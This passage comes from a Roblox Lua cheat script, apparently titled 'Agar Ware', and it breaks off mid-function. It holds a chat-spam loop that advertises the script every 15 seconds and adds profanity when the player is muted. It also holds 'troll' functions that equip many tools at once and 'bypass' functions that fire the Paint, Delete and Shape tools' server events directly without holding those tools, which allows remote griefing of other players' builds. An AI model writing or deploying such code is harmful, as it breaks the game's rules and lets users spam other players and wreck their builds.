	local messages = {
		"🚨AGAR WARE MIGHT JUST BE THE BEST SCRIPT EVER?",
		"🚨HAVE YOU HEARD ABOUT THIS NEW META SCRIPT?",
		"🚨WOW I DIDNT EXPECT AGAR WARE TO BE THIS GOOD!",
		"🚨AGAR WARE PROTECTED MY BUILDS FROM GRIEFS!",
		"🚨I LOVE THIS NEW SCRIPT, AGAR WARE!",
		"🚨WOW AGAR WARE IS ALSO KEYLESS AND MOBILE FRIENDLY?",
		"🚨AGAR WARE HAS SUCH GOOD UI!",
		"🚨ITS EVEN OPEN SOURCE!",
	}
	
	local function isMuted()
		local char = LocalPlayer.Character
		if not char then return false end
		local tiempo = char:FindFirstChild("Tiempo")
		if not tiempo then return false end
		local text1 = tiempo:FindFirstChild("Text1")
		if not text1 then return false end
		return string.find(text1.Text, "🤐") ~= nil
	end
	
	local function sendChat(message)
		pcall(function()
			local channels = TextChatService:WaitForChild("TextChannels", 2)
			if channels then
				local general = channels:FindFirstChild("RBXGeneral")
				if general then
					general:SendAsync(message)
					return
				end
			end
			local chatEvents = game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents", 2)
			if chatEvents then
				local sayMessage = chatEvents:WaitForChild("SayMessageRequest", 2)
				if sayMessage then
					sayMessage:FireServer(message, "All")
				end
			end
		end)
	end
	
	local isActive = false
	local spamTask = nil
	local originalText = "Spam Adver Agar Ware"
	
	local function shuffled(t)
		local copy = {table.unpack(t)}
		for i = #copy, 2, -1 do
			local j = math.random(1, i)
			copy[i], copy[j] = copy[j], copy[i]
		end
		return copy
	end
	
	local function startSpam()
		isActive = true
		SpamAdvertButton.Text = "Stop"
		spamTask = task.spawn(function()
			while isActive do
				local shuffledMessages = shuffled(messages)
				for _, msg in ipairs(shuffledMessages) do
					if not isActive then break end
					local finalMsg = isMuted() and (msg .. " SHIT") or msg
					sendChat(finalMsg)
					task.wait(15)
				end
			end
		end)
	end
	
	local function stopSpam()
		isActive = false
		SpamAdvertButton.Text = originalText
		if spamTask then
			task.cancel(spamTask)
			spamTask = nil
		end
	end
	
	SpamAdvertButton.MouseButton1Click:Connect(function()
		if isActive then
			stopSpam()
		else
			startSpam()
		end
	end)
end;
task.spawn(C_17e);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxScript
local function C_181()
local script = G2L["181"];
	script.Parent.PPBoomboxButton.MouseButton1Click:Connect(function()
		local Player = game.Players.LocalPlayer
		local Character = Player.Character or Player.CharacterAdded:Wait()
		local Humanoid = Character:WaitForChild("Humanoid")
	
		Humanoid:UnequipTools()
	
		-- Find all boomboxes and store original grips
		local boomboxes = {}
		local originalGrips = {}
	
		for _, item in pairs(Player.Backpack:GetChildren()) do
			if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then
				table.insert(boomboxes, item)
				originalGrips[item] = item.Grip -- Save original grip
			end
		end
	
		-- Position boomboxes FIRST (before equipping)
		for i, tool in pairs(boomboxes) do
			if tool:FindFirstChild("Handle") then
				if i == 1 then
					-- First boombox
					tool.Grip = CFrame.new(1.5, 0.25, 1.4) * CFrame.Angles(math.rad(90), 0, 0)
					print("✅ Boombox 1 position set at (1.5, 0.25, 1.4)")
				elseif i == 2 then
					-- Second boombox
					tool.Grip = CFrame.new(1.5, 1.3, 1.4) * CFrame.Angles(math.rad(90), math.rad(90), 0)
					print("✅ Boombox 2 position set at (1.5, 1.3, 1.4)")
				else
					-- Third boombox and onwards (X increases by 2.5 each time)
					local xPos = 1.5 + (2.5 * (i - 2))
					tool.Grip = CFrame.new(xPos, 1.3, 1.4) * CFrame.Angles(math.rad(90), math.rad(90), 0)
					print("✅ Boombox "..i.." position set at ("..xPos..", 1.3, 1.4)")
				end
			end
		end
	
		-- THEN equip all boomboxes
		for _, tool in pairs(boomboxes) do
			tool.Parent = Character
		end
	
		-- Reset grips when tools are unequipped
		for _, tool in pairs(boomboxes) do
			tool.Unequipped:Connect(function()
				if originalGrips[tool] then
					tool.Grip = originalGrips[tool]
				end
			end)
		end
	
		print("✅ All boomboxes equipped with positions!")
	end)
end;
task.spawn(C_181);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitScript
local function C_184()
local script = G2L["184"];
	script.Parent.PPBkitButton.MouseButton1Click:Connect(function()
		local Player = game.Players.LocalPlayer
		local Character = Player.Character or Player.CharacterAdded:Wait()
		local Humanoid = Character:WaitForChild("Humanoid")
	
		Humanoid:UnequipTools()
	
		-- Find all bkit tools IN ORDER
		local bkitTools = {}
		local toolNames = {"Build", "Delete", "Paint", "Shape", "Shovel", "Sign"}
		local originalGrips = {}
	
		-- Loop through toolNames order to keep them matched
		for _, toolName in pairs(toolNames) do
			for _, item in pairs(Player.Backpack:GetChildren()) do
				if item.Name == toolName and item:IsA("Tool") then
					table.insert(bkitTools, item)
					originalGrips[item] = item.Grip -- Save original grip
					break -- Only add one of each tool
				end
			end
		end
	
		-- Position bkit tools FIRST (before equipping)
		local positions = {
			CFrame.new(2.2, 1.7, -0.7) * CFrame.Angles(0, 0, 0),                                      -- Build
			CFrame.new(0.7, 1.7, -0.7) * CFrame.Angles(0, 0, 0),                                      -- Delete
			CFrame.new(2.10, 1.45, 1.30) * CFrame.Angles(math.rad(90), math.rad(90), 0),             -- Paint
			CFrame.new(1.45, 1.3, 1.2) * CFrame.Angles(0, 0, 0),                                      -- Shape
			CFrame.new(1.45, 1.8, -1.2) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)),    -- Shovel
			CFrame.new(-1.45, -0.2, 1.2) * CFrame.Angles(math.rad(270), 0, math.rad(180))            -- Sign
		}
	
		for i, tool in pairs(bkitTools) do
			if tool:FindFirstChild("Handle") and positions[i] then
				tool.Grip = positions[i]
				print("✅ "..tool.Name.." position set!")
			end
		end
	
		-- THEN equip all bkit tools
		for _, tool in pairs(bkitTools) do
			tool.Parent = Character
		end
	
		-- Reset grips when tools are unequipped
		for _, tool in pairs(bkitTools) do
			tool.Unequipped:Connect(function()
				if originalGrips[tool] then
					tool.Grip = originalGrips[tool]
				end
			end)
		end
	
		print("✅ Bkit tools equipped with positions!")
	end)
end;
task.spawn(C_184);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassScript
local function C_189()
local script = G2L["189"];
	-- BypassScript (inside BypassGroup)
	local BypassGroup = script.Parent
	local BypassMinimize = BypassGroup.BypassTitle.BypassMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(BypassGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = BypassGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	BypassMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			BypassGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			BypassMinimize.Text = "+"
		else
			BypassGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			BypassMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_189);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassToolTip
local function C_18a()
local script = G2L["18a"];
	-- ============================================================
	-- BYPASS TICKBOX TOOLTIP SCRIPT
	-- Tooltips for tool bypass tickboxes
	-- ============================================================
	local Group = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND TICKBOXES
	-- ============================================================
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local PaintBypassTickBox = findDescendant("PaintBypassTickBox")
	local DeleteBypassTickBox = findDescendant("DeleteBypassTickBox")
	local BuildBypassTickBox = findDescendant("BuildBypassTickBox")
	local ShapeBypassTickBox = findDescendant("ShapeBypassTickBox")
	local SignBypassTickBox = findDescendant("SignBypassTickBox")
	local ShovelBypassTickBox = findDescendant("ShovelBypassTickBox")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
	
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
	
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	local paintTooltip = makeTooltip("Allows you to use Paint without holding it.")
	local deleteTooltip = makeTooltip("Allows you to use Delete without holding it.")
	local buildTooltip = makeTooltip("Allows you to use Build without holding it.")
	local shapeTooltip = makeTooltip("Allows you to use Shape without holding it.")
	local signTooltip = makeTooltip("Allows you to use Sign without holding it.")
	local shovelTooltip = makeTooltip("Allows you to use Shovel without holding it.")
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	hookTooltip(PaintBypassTickBox, paintTooltip)
	hookTooltip(DeleteBypassTickBox, deleteTooltip)
	hookTooltip(BuildBypassTickBox, buildTooltip)
	hookTooltip(ShapeBypassTickBox, shapeTooltip)
	hookTooltip(SignBypassTickBox, signTooltip)
	hookTooltip(ShovelBypassTickBox, shovelTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			paintTooltip:Destroy()
			deleteTooltip:Destroy()
			buildTooltip:Destroy()
			shapeTooltip:Destroy()
			signTooltip:Destroy()
			shovelTooltip:Destroy()
		end
	end)
end;
task.spawn(C_18a);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassScript
local function C_190()
local script = G2L["190"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local PaintBypassRow = script.Parent
	local BypassGroup = PaintBypassRow.Parent
	local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
	local PaintBypassTickBox = PaintBypassRow:WaitForChild("PaintBypassTickBox")
	local PaintBypassText = PaintBypassRow:WaitForChild("PaintBypassText")
	
	-- Find the Range Bypass value
	local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
	local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
	
	local isEnabled = false
	local mouseConn = nil
	local backpackConn = nil
	local charConn = nil
	local lastClickTime = 0
	local clickCount = 0
	local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no painting
	
	local NORMAL_TEXT = "Paint"
	local NOT_FOUND_TEXT = "Tool not found"
	
	local function updateVisual()
		if isEnabled then
			PaintBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
		else
			PaintBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	updateVisual()
	
	local mouse = LocalPlayer:GetMouse()
	
	local function disable()
		if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
		if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
		if charConn then charConn:Disconnect(); charConn = nil end
	
		local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
		if paintUI then paintUI.Enabled = false end
	
		print("[PaintBypass] OFF")
	end
	
	local function hasPaintTool()
		return LocalPlayer.Backpack:FindFirstChild("Paint")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
	end
	
	-- INSTANT re-equip and unequip function (keeps UI visible)
	local function refreshPaintTool()
		local paintTool = hasPaintTool()
		if not paintTool then
			print("[PaintBypass] Paint tool not found, cannot refresh")
			return false
		end
	
		local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
		if not paintUI then
			print("[PaintBypass] Paint UI not found, cannot refresh")
			return false
		end
	
		-- Store currently equipped tool to re-equip it after
		local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		-- Move to backpack if it's in character
		if paintTool.Parent == LocalPlayer.Character then
			paintTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		-- Equip paint tool instantly
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:EquipTool(paintTool)
	
			-- Use RenderStepped to unequip on the very next frame (invisible to player)
			game:GetService("RunService").RenderStepped:Wait()
	
			-- Enable UI BEFORE unequipping
			paintUI.Enabled = true
	
			-- Unequip immediately
			if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
				LocalPlayer.Character.Humanoid:UnequipTools()
			end
	
			-- Wait a tiny bit and force UI to stay enabled
			task.wait(0.05)
			paintUI.Enabled = true
	
			-- Re-equip previous tool if there was one
			if previousTool and previousTool.Parent == LocalPlayer.Backpack then
				if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
					LocalPlayer.Character.Humanoid:EquipTool(previousTool)
				end
			end
	
			print("[PaintBypass] Tool refreshed (invisible, UI kept)")
			return true
		end
	
		return false
	end
	
	local function enable()
		local paintUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
		if not paintUI then
			print("[PaintBypass] Paint UI not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		local paintTool = hasPaintTool()
		if not paintTool then
			print("[PaintBypass] Paint tool not found in backpack or character")
			isEnabled = false
			updateVisual()
			return
		end
	
		local paintEvent = paintTool:FindFirstChild("Script") and paintTool.Script:FindFirstChild("Event")
		if not paintEvent then
			print("[PaintBypass] Paint event not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		-- Initial refresh (instant and invisible)
		refreshPaintTool()
	
		if mouseConn then mouseConn:Disconnect() end
		mouseConn = mouse.Button1Down:Connect(function()
			if not isEnabled then return end
			local target = mouse.Target
	
			if target and not paintUI.PickerUI.Visible then
				local currentTime = tick()
	
				-- Track clicks to detect if painting is not working
				if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
					clickCount = clickCount + 1
				else
					clickCount = 1
				end
				lastClickTime = currentTime
	
				-- If we've clicked rapidly many times, assume the tool needs refresh
				if clickCount >= AUTO_REFRESH_THRESHOLD then
					print("[PaintBypass] Auto-refresh triggered (tool may have stopped working)")
					refreshPaintTool()
					clickCount = 0 -- Reset counter
				end
	
				-- Check if Range Bypass is enabled
				local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
				local inRange = true
				if inRange then
					-- Re-find the paint tool and event in case it changed
					local currentPaintTool = hasPaintTool()
					if currentPaintTool then
						local currentEvent = currentPaintTool:FindFirstChild("Script") and currentPaintTool.Script:FindFirstChild("Event")
						local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Paint")
	
						if currentEvent and currentUI then
							currentEvent:FireServer(
								target,
								mouse.TargetSurface,
								mouse.Hit.Position,
								currentUI.Button.Text,
								currentUI.Color.Value.BackgroundColor3,
								currentUI.Mater.Value.Text,
								currentUI.MaterUI.Spray.Input.Text
							)
						else
							print("[PaintBypass] Event or UI lost, refreshing...")
							refreshPaintTool()
						end
					end
				end
			end
		end)
	
		-- Watch backpack for paint tool removal
		if backpackConn then backpackConn:Disconnect() end
		backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
			if child.Name == "Paint" then
				task.wait(0.2)
				if not hasPaintTool() then
					print("[PaintBypass] Paint tool removed, auto disabled")
					isEnabled = false
					updateVisual()
					disable()
				end
			end
		end)
	
		-- Watch character for paint tool removal
		if charConn then charConn:Disconnect() end
		if LocalPlayer.Character then
			charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
				if child.Name == "Paint" then
					task.wait(0.2)
					if not hasPaintTool() then
						print("[PaintBypass] Paint tool removed from character, auto disabled")
						isEnabled = false
						updateVisual()
						disable()
					end
				end
			end)
		end
	
		print("[PaintBypass] ON")
	end
	
	--------------------------------------------------
	-- TOGGLE
	--------------------------------------------------
	PaintBypassTickBox.MouseButton1Down:Connect(function()
		-- Check if tool exists when clicking
		if not hasPaintTool() then
			PaintBypassText.Text = NOT_FOUND_TEXT
		end
	end)
	
	PaintBypassTickBox.MouseButton1Up:Connect(function()
		-- Reset text when releasing
		PaintBypassText.Text = NORMAL_TEXT
	end)
	
	PaintBypassTickBox.MouseButton1Click:Connect(function()
		-- Only toggle if tool exists
		if not hasPaintTool() then
			print("[PaintBypass] Cannot enable - Paint tool not found")
			return
		end
	
		isEnabled = not isEnabled
		updateVisual()
	
		if isEnabled then
			enable()
		else
			disable()
		end
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
		end
	end)
end;
task.spawn(C_190);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassScript
local function C_194()
local script = G2L["194"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local DeleteBypassRow = script.Parent
	local BypassGroup = DeleteBypassRow.Parent
	local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
	local DeleteBypassTickBox = DeleteBypassRow:WaitForChild("DeleteBypassTickBox")
	local DeleteBypassText = DeleteBypassRow:WaitForChild("DeleteBypassText")
	
	-- Find the Range Bypass value
	local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
	local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
	
	local isEnabled = false
	local mouseConn = nil
	local backpackConn = nil
	local charConn = nil
	local lastClickTime = 0
	local clickCount = 0
	local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no deletion
	
	local NORMAL_TEXT = "Delete"
	local NOT_FOUND_TEXT = "Tool not found"
	
	local function updateVisual()
		if isEnabled then
			DeleteBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
		else
			DeleteBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	updateVisual()
	
	local mouse = LocalPlayer:GetMouse()
	
	local function disable()
		if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
		if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
		if charConn then charConn:Disconnect(); charConn = nil end
	
		print("[DeleteBypass] OFF")
	end
	
	local function hasDeleteTool()
		return LocalPlayer.Backpack:FindFirstChild("Delete")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Delete"))
	end
	
	-- INSTANT re-equip and unequip function
	local function refreshDeleteTool()
		local deleteTool = hasDeleteTool()
		if not deleteTool then
			print("[DeleteBypass] Delete tool not found, cannot refresh")
			return false
		end
	
		-- Store currently equipped tool to re-equip it after
		local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		-- Move to backpack if it's in character
		if deleteTool.Parent == LocalPlayer.Character then
			deleteTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		-- Equip delete tool instantly
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:EquipTool(deleteTool)
	
			-- Use RenderStepped to unequip on the very next frame (invisible to player)
			game:GetService("RunService").RenderStepped:Wait()
	
			-- Unequip immediately
			if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
				LocalPlayer.Character.Humanoid:UnequipTools()
			end
	
			-- Re-equip previous tool if there was one
			if previousTool and previousTool.Parent == LocalPlayer.Backpack then
				task.wait()
				if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
					LocalPlayer.Character.Humanoid:EquipTool(previousTool)
				end
			end
	
			print("[DeleteBypass] Tool refreshed (invisible)")
			return true
		end
	
		return false
	end
	
	local function enable()
		local deleteTool = hasDeleteTool()
		if not deleteTool then
			print("[DeleteBypass] Delete tool not found in backpack or character")
			isEnabled = false
			updateVisual()
			return
		end
	
		local deleteEvent = deleteTool:FindFirstChild("Script") and deleteTool.Script:FindFirstChild("Event")
		if not deleteEvent then
			print("[DeleteBypass] Delete event not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		-- Initial refresh
		refreshDeleteTool()
	
		if mouseConn then mouseConn:Disconnect() end
		mouseConn = mouse.Button1Down:Connect(function()
			if not isEnabled then return end
			local target = mouse.Target
	
			-- Only delete if target is a "Brick"
			if target and target.Name == "Brick" then
				local currentTime = tick()
	
				-- Track clicks to detect if deletion is not working
				if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
					clickCount = clickCount + 1
				else
					clickCount = 1
				end
				lastClickTime = currentTime
	
				-- If we've clicked rapidly many times, assume the tool needs refresh
				if clickCount >= AUTO_REFRESH_THRESHOLD then
					print("[DeleteBypass] Auto-refresh triggered (tool may have stopped working)")
					refreshDeleteTool()
					clickCount = 0 -- Reset counter
				end
	
				-- Check if Range Bypass is enabled
				local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
				local inRange = true
				if inRange then
					-- Re-find the delete tool and event in case it changed
					local currentDeleteTool = hasDeleteTool()
					if currentDeleteTool then
						local currentEvent = currentDeleteTool:FindFirstChild("Script") and currentDeleteTool.Script:FindFirstChild("Event")
						if currentEvent then
							currentEvent:FireServer(target, mouse.Hit.Position)
						else
							print("[DeleteBypass] Event lost, refreshing...")
							refreshDeleteTool()
						end
					end
				end
			end
		end)
	
		-- Watch backpack for delete tool removal
		if backpackConn then backpackConn:Disconnect() end
		backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child)
			if child.Name == "Delete" then
				task.wait(0.2)
				if not hasDeleteTool() then
					print("[DeleteBypass] Delete tool removed, auto disabled")
					isEnabled = false
					updateVisual()
					disable()
				end
			end
		end)
	
		-- Watch character for delete tool removal
		if charConn then charConn:Disconnect() end
		if LocalPlayer.Character then
			charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child)
				if child.Name == "Delete" then
					task.wait(0.2)
					if not hasDeleteTool() then
						print("[DeleteBypass] Delete tool removed from character, auto disabled")
						isEnabled = false
						updateVisual()
						disable()
					end
				end
			end)
		end
	
		print("[DeleteBypass] ON")
	end
	
	--------------------------------------------------
	-- TOGGLE
	--------------------------------------------------
	DeleteBypassTickBox.MouseButton1Down:Connect(function()
		-- Check if tool exists when clicking
		if not hasDeleteTool() then
			DeleteBypassText.Text = NOT_FOUND_TEXT
		end
	end)
	
	DeleteBypassTickBox.MouseButton1Up:Connect(function()
		-- Reset text when releasing
		DeleteBypassText.Text = NORMAL_TEXT
	end)
	
	DeleteBypassTickBox.MouseButton1Click:Connect(function()
		-- Only toggle if tool exists
		if not hasDeleteTool() then
			print("[DeleteBypass] Cannot enable - Delete tool not found")
			return
		end
	
		isEnabled = not isEnabled
		updateVisual()
	
		if isEnabled then
			enable()
		else
			disable()
		end
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			disable()
		end
	end)
end;
task.spawn(C_194);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.ShapeBypassRow.ShapeBypassScript
local function C_198()
local script = G2L["198"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local ShapeBypassRow = script.Parent
	local BypassGroup = ShapeBypassRow.Parent
	local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor")
	local ShapeBypassTickBox = ShapeBypassRow:WaitForChild("ShapeBypassTickBox")
	local ShapeBypassText = ShapeBypassRow:WaitForChild("ShapeBypassText")
	
	-- Find the Range Bypass value
	local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup")
	local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled")
	
	local isEnabled = false
	local mouseConn = nil
	local backpackConn = nil
	local charConn = nil
	local lastClickTime = 0
	local clickCount = 0
	local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no shaping
	
	local NORMAL_TEXT = "Shape"
	local NOT_FOUND_TEXT = "Tool not found"
	
	local function updateVisual()
		if isEnabled then
			ShapeBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3
		else
			ShapeBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	updateVisual()
	
	local mouse = LocalPlayer:GetMouse()
	
	local function disable()
		if mouseConn then mouseConn:Disconnect(); mouseConn = nil end
		if backpackConn then backpackConn:Disconnect(); backpackConn = nil end
		if charConn then charConn:Disconnect(); charConn = nil end
	
		local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
		if shapeUI then shapeUI.Enabled = false end
	
		print("[ShapeBypass] OFF")
	end
	
	local function hasShapeTool()
		return LocalPlayer.Backpack:FindFirstChild("Shape")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape"))
	end
	
	-- INSTANT re-equip and unequip function (keeps UI visible)
	local function refreshShapeTool()
		local shapeTool = hasShapeTool()
		if not shapeTool then
			print("[ShapeBypass] Shape tool not found, cannot refresh")
			return false
		end
	
		local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
		if not shapeUI then
			print("[ShapeBypass] Shape UI not found, cannot refresh")
			return false
		end
	
		-- Store currently equipped tool to re-equip it after
		local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		-- Move to backpack if it's in character
		if shapeTool.Parent == LocalPlayer.Character then
			shapeTool.Parent = LocalPlayer.Backpack
			task.wait()
		end
	
		-- Equip shape tool instantly
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:EquipTool(shapeTool)
	
			-- Use RenderStepped to unequip on the very next frame (invisible to player)
			game:GetService("RunService").RenderStepped:Wait()
	
			-- Enable UI BEFORE unequipping
			shapeUI.Enabled = true
	
			-- Unequip immediately
			if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
				LocalPlayer.Character.Humanoid:UnequipTools()
			end
	
			-- Wait a tiny bit and force UI to stay enabled
			task.wait(0.05)
			shapeUI.Enabled = true
	
			-- Re-equip previous tool if there was one
			if previousTool and previousTool.Parent == LocalPlayer.Backpack then
				if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
					LocalPlayer.Character.Humanoid:EquipTool(previousTool)
				end
			end
	
			print("[ShapeBypass] Tool refreshed (invisible, UI kept)")
			return true
		end
	
		return false
	end
	
	local function enable()
		local shapeUI = LocalPlayer.PlayerGui:FindFirstChild("Shape")
		if not shapeUI then
			print("[ShapeBypass] Shape UI not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		local shapeTool = hasShapeTool()
		if not shapeTool then
			print("[ShapeBypass] Shape tool not found in backpack or character")
			isEnabled = false
			updateVisual()
			return
		end
	
		local shapeEvent = shapeTool:FindFirstChild("Script") and shapeTool.Script:FindFirstChild("Event")
		if not shapeEvent then
			print("[ShapeBypass] Shape event not found")
			isEnabled = false
			updateVisual()
			return
		end
	
		-- Initial refresh (instant and invisible)
		refreshShapeTool()
	
		if mouseConn then mouseConn:Disconnect() end
		mouseConn = mouse.Button1Down:Connect(function()
			if not isEnabled then return end
			local target = mouse.Target
	
			-- Only works on "Brick" objects
			if target and target.Name == "Brick" then
				local currentTime = tick()
	
				-- Track clicks to detect if shaping is not working
				if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds
					clickCount = clickCount + 1
				else
					clickCount = 1
				end
				lastClickTime = currentTime
	
				-- If we've clicked rapidly many times, assume the tool needs refresh
				if clickCount >= AUTO_REFRESH_THRESHOLD then
					print("[ShapeBypass] Auto-refresh triggered (tool may have stopped working)")
					refreshShapeTool()
					clickCount = 0 -- Reset counter
				end
	
				-- Check if Range Bypass is enabled
				local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value
				local inRange = true
				if inRange then
					-- Re-find the shape tool and event in case it changed
					local currentShapeTool = hasShapeTool()
					if currentShapeTool then
